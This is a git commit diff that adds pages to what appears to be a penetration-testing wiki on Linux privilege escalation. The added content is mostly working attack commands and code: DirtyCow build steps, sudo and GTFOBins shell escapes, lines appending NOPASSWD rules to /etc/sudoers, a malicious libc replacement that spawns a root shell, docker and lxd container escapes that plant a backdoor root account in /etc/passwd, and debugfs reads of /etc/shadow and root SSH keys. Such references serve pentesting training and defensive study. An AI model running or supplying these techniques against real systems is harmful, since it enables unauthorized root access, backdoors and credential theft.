GitBook: [master] 362 pages modified

This commit is contained in:
CPol 2020-08-20 11:59:57 +00:00 committed by gitbook-bot
parent 7b4aeae3d6
commit 2f50738a64
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
5 changed files with 468 additions and 16 deletions

View File

@ -21,9 +21,9 @@
* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md)
* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
* [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe.md)
* [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md)
* [lxd/lxc Group - Privilege escalation](linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
* [lxc - Privilege escalation](linux-unix/privilege-escalation/lxd-privilege-escalation.md)
* [Escaping from restricted shells - Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
* [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
* [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)

View File

@ -26,7 +26,7 @@ description: Checklist for privilege escalation in Linux
### [Interesting Groups?](privilege-escalation/#groups)
* [ ] Check **if** you [**belong** to any **group** that can grant you **root rights**](privilege-escalation/interesting-groups-linux-pe.md).
* [ ] Check **if** you [**belong** to any **group** that can grant you **root rights**](privilege-escalation/interesting-groups-linux-pe/).
### [Weird scheduled jobs?](privilege-escalation/#scheduled-jobs)

View File

@ -14,7 +14,7 @@ uname -a
searchsploit "Linux Kernel"
```
You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).
Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
To extract all the vulnerable kernel versions from that web you can do:
@ -31,6 +31,18 @@ Tools that could help searching for kernel exploits are:
Always **search the kernel version in Google**, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.
### CVE-2016-5195 \(DirtyCow\)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo version
Based on the vulnerable sudo versions that appear in:
@ -83,7 +95,7 @@ If you know any password of the environment try to login as each user using the
Check if you are in some group that could grant you root rights:
{% page-ref page="interesting-groups-linux-pe.md" %}
{% page-ref page="interesting-groups-linux-pe/" %}
## Writable PATH abuses
@ -254,6 +266,12 @@ To dump a process memory you could use:
* [https://github.com/hajzer/bash-memory-dump](https://github.com/hajzer/bash-memory-dump) \(root is required\)
* Script A.5 from [https://www.delaat.net/rp/2016-2017/p97/report.pdf](https://www.delaat.net/rp/2016-2017/p97/report.pdf) \(root is required\)
```text
strings /dev/mem -n10 | grep -i PASS
```
## Scheduled jobs
Check if any scheduled job has any type of vulnerability. Maybe you can take advantage of any script that root executes sometimes \(wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?\).
@ -338,7 +356,22 @@ ftp>!/bin/sh
less>! <shell_comand>
```
{% embed url="https://gtfobins.github.io/" %}
### NOPASSWD
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
```text
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
```text
sudo vim -c '!sh'
```
### Sudo execution bypassing paths
@ -396,7 +429,11 @@ Then, when you call the suid binary, this function will be executed
To avoid this mechanism being used as an attack vector for _suid/sgid_ executable binaries, the loader ignores _LD\_PRELOAD_ if _ruid != euid_. For such binaries, only libraries in standard paths that are also _suid/sgid_ will be preloaded.
If you find inside the output of _**sudo -l**_ the sentence: _**env\_keep+=LD\_PRELOAD**_ and you can call some command with sudo, you can escalate privileges.
If you find inside the output of **`sudo -l`** the sentence: _**env\_keep+=LD\_PRELOAD**_ and you can call some command with sudo, you can escalate privileges.
```text
Defaults env_keep += LD_PRELOAD
```
Save as **/tmp/pe.c**
@ -457,6 +494,36 @@ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
And execute the binary.
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io/) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '! /bin/sh'
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system\("/bin/sh"\)}'
{% embed url="https://gtfobins.github.io/" %}
### /etc/sudoers, /etc/sudoers.d
The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. This files **by default can only be read by user root and group root**.
**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
If you can write you can abuse this permissions
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
### /etc/ld.so.conf.d/
If you can create a file in `/etc/ld.so.conf.d/` and you can execute **`ldconfig`**with root privileges \(sudo or suid\) then you can **make executable load arbitrary libraries**.
@ -489,17 +556,95 @@ Note in the next image that \(_having already created the backdoor on /tmp_\) ha
_This example was taken from the HTB machine: Dab._
### DOAS
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```text
permit nopass demo as root cmd vim
```
## Shared Library
#### ldconfig
Identify shared libraries with `ldd`
```text
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
```
Create a library in `/tmp` and activate the path.
```text
gcc Wall fPIC shared o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary
```
#### RPATH
```text
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
```text
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```text
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## Capabilities
[Capabilities](https://www.insecure.ws/linux/getcap_setcap.html) are a little obscure but similar in principle to SUID. Linuxs thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges theyre allowed to use. By default, root has all of them.
Examples:
| Capability | Description |
| Capabilities name | Description |
| :--- | :--- |
| CAP\_DAC\_OVERRIDE | Override read/write/execute permission checks \(full filesystem access\) |
| CAP\_DAC\_READ\_SEARCH | Only override reading files and opening/listing directories \(full filesystem READ access\) |
| CAP\_KILL | Can send any signal to any process \(such as sig kill\) |
| CAP\_AUDIT\_CONTROL | Allow to enable/disable kernel auditing |
| CAP\_AUDIT\_WRITE | Helps to write records to kernel auditing log |
| CAP\_BLOCK\_SUSPEND | This feature can block system suspends |
| **CAP\_CHOWN** | Allow user to make arbitrary change to files UIDs and GIDs \(full filesystem access\) |
| **CAP\_DAC\_OVERRIDE** | This helps to bypass file read, write and execute permission checks \(full filesystem access\) |
| **CAP\_DAC\_READ\_SEARCH** | This only bypass file and directory read/execute permission checks |
| CAP\_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP\_KILL | Allow the sending of signals to processes belonging to others |
| CAP\_SETGID | Allow changing of the GID |
| **CAP\_SETUID** | Allow changing of the UID \(set UID of root in you process\) |
| CAP\_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP\_IPC\_LOCK | This helps to lock memory |
| CAP\_MAC\_ADMIN | Allow MAC configuration or state changes |
| CAP\_NET\_RAW | Use RAW and PACKET sockets |
| CAP\_NET\_BIND\_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
| CAP\_SYS\_CHROOT | Ability to call chroot\(\) |
Capabilities are useful when you want to restrict your own processes after performing privileged operations \(e.g. after setting up chroot and binding to a socket\). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
@ -642,9 +787,9 @@ If you Forward Agent configured in an environment ****[**check here how to explo
Check if you can read some sensitive files and what is contained in some folders. For example:
```text
cat /etc/shadow
```
* `cat /etc/shadow` This is the file that contains password hashes
* `cat /etc/security/opasswd` This file may contain password hashes history
* `cat /etc/passwd` In some cases this file may contain hashes of passwords
Check the contents of **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports**

View File

@ -0,0 +1,212 @@
# Interesting Groups - Linux PE
## Sudo/Admin Groups
### **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
```text
sudo su
```
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% endcode %}
{% code title="session2" %}
```bash
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
{% endcode %}
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
```text
%wheel ALL=(ALL:ALL) ALL
```
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
```text
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
![](../../../.gitbook/assets/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
![](../../../.gitbook/assets/image%20%28295%29.png)
## Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
You can mount the root filesystem of the host machine to an instances volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
```text
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```text
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
```text
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
More docker privilege escalation using the Docker Socket.
```text
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
## lxc/lxd Group
{% page-ref page="./" %}

View File

@ -0,0 +1,95 @@
# lxd/lxc Group - Privilege escalation
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
## Exploiting without internet
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
```bash
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
```
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
Add the image:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
Create a container and add root path
```bash
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
Execute the container:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd_root)
## With internet
You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
## Other Refs
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}